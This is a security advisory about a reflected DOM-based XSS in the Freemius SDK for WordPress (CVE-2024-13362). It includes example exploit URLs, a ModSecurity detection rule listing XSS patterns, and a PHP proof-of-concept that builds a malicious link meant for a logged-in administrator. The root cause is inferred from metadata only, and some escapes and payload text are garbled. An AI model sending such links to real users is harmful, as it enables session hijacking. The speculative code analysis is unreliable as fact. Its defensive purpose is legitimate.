Atomic Edge analysis of CVE-2024-13362 (metadata-based): This is a Reflected DOM-Based Cross-Site Scripting vulnerability affecting the Freemius SDK (version <= 2.10.1) and specifically the 'Bulk Image Alt Text with Yoast' plugin (version 2.1.0) which bundles the vulnerable SDK. The vulnerability allows unauthenticated attackers to inject arbitrary JavaScript into pages via the 'url' parameter. The CVSS score of 6.1 (Medium) reflects the requirement for user interaction (clicking a link) and the limited impact on confidentiality and integrity (both rated Low).
The root cause is improper neutralization of user-supplied input during web page generation (CWE-79). Based on the description and the DOM-Based classification, this vulnerability likely exists in a JavaScript file or inline script that reads the 'url' parameter from the URL query string and injects it into the DOM without proper sanitization or escaping. Since no source code is available, Atomic Edge research infers that the vulnerable code uses a function like 'window.location.search' or URLSearchParams to extract the 'url' parameter value and then writes it directly to innerHTML or document.write without encoding. Confirmed facts are limited to the CVE metadata and the Wordfence reference, which indicates a reflected XSS requiring user interaction.
Exploitation requires an attacker to craft a malicious link containing a JavaScript payload in the 'url' parameter. The typical attack surface is any page on a WordPress site that includes Freemius JavaScript, such as the plugin activation or deactivation flow, admin screens, or frontend pages where Freemius SDK scripts are enqueued. An example exploit URL would be: 'https://target.com/?url=javascript:alert(document.cookie)' or 'https://target.com/?url=
‘. The attacker must trick an administrator or user into clicking the link. The lack of nonce verification or capability checks in the vulnerable JavaScript handler is not relevant here because JavaScript executes in the browser, and the server-side code likely passes the parameter without sanitization.
Remediation requires the plugin/theme developer to properly escape or sanitize the ‘url’ parameter before injecting it into the DOM. For the Freemius SDK, the fix (version 2.11.0) likely validates the ‘url’ parameter against a whitelist of allowed URLs or uses ‘urlencode()’ and ‘esc_js()’ functions to neutralize XSS payloads. Atomic Edge analysis recommends that users update to the patched version of any plugin or theme using the Freemius SDK (e.g., Bulk Image Alt Text with Yoast version 2.2.0).
If successfully exploited, an attacker can execute arbitrary JavaScript in the context of the victim’s browser session. This can lead to session hijacking, cookie theft, defacement of the current page, or redirection to malicious sites. However, because the XSS is reflected and requires user interaction, the impact is limited compared to stored XSS. Unauthenticated attackers can target any user, including administrators, potentially gaining elevated privileges if the admin clicks the malicious link while logged in.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2024-13362 (metadata-based)
# This rule targets Reflected XSS via the 'url' parameter in Freemius SDK JavaScript.
# The attack vector is any page that includes Freemius scripts, identifiable by the presence of 'freemius' in query string or path.
SecRule QUERY_STRING "@contains freemius"
"id:202613362,phase:1,deny,status:403,chain,msg:'CVE-2024-13362 - Reflected XSS via url parameter (Freemius SDK)',severity:'CRITICAL',tag:'CVE-2024-13362'"
SecRule ARGS:url "@rx <script|data:|javascript:|onw+s*="
"t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter
// Set your target WordPress site URL here (e.g., "http://example.com")
$target_url = "http://target-site.com";
// The vulnerable parameter is 'url'. The payload executes in the victim's browser.
// We'll craft a link that an attacker would send to a victim.
$payload = "javascript:alert('XSS_PoC')";
// Construct the malicious URL
$malicious_url = rtrim($target_url, '/') . '/?' . http_build_query(['url' => $payload]);
echo "[+] Atomic Edge PoC for CVE-2024-13362n";
echo "[+] Target: $target_urln";
echo "[+] Malicious URL: $malicious_urln";
echo "[+] Instructions: Send this URL to a logged-in administrator or user.n";
echo "[+] If the vulnerability exists, the XSS alert will execute in their browser.n";
echo "[+] Note: This PoC assumes the 'url' parameter is read by Freemius JavaScript on the page.n";
// Optional: Use cURL to verify the page content contains the parameter (but XSS requires browser execution)
function check_xss_trigger($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
// Check if the response contains our payload (without encoding) to see if it's reflected
if (strpos($response, "javascript:alert('XSS_PoC')") !== false) {
echo "[+] The page content reflects the payload in the HTML source. Likely vulnerable.n";
} else {
echo "[-] The payload was not found in the response. It may be encoded or not reflected server-side (DOM-based).n";
}
}
check_xss_trigger($malicious_url);
echo "[!] PoC complete. Manual browser testing is required to confirm DOM execution.n";
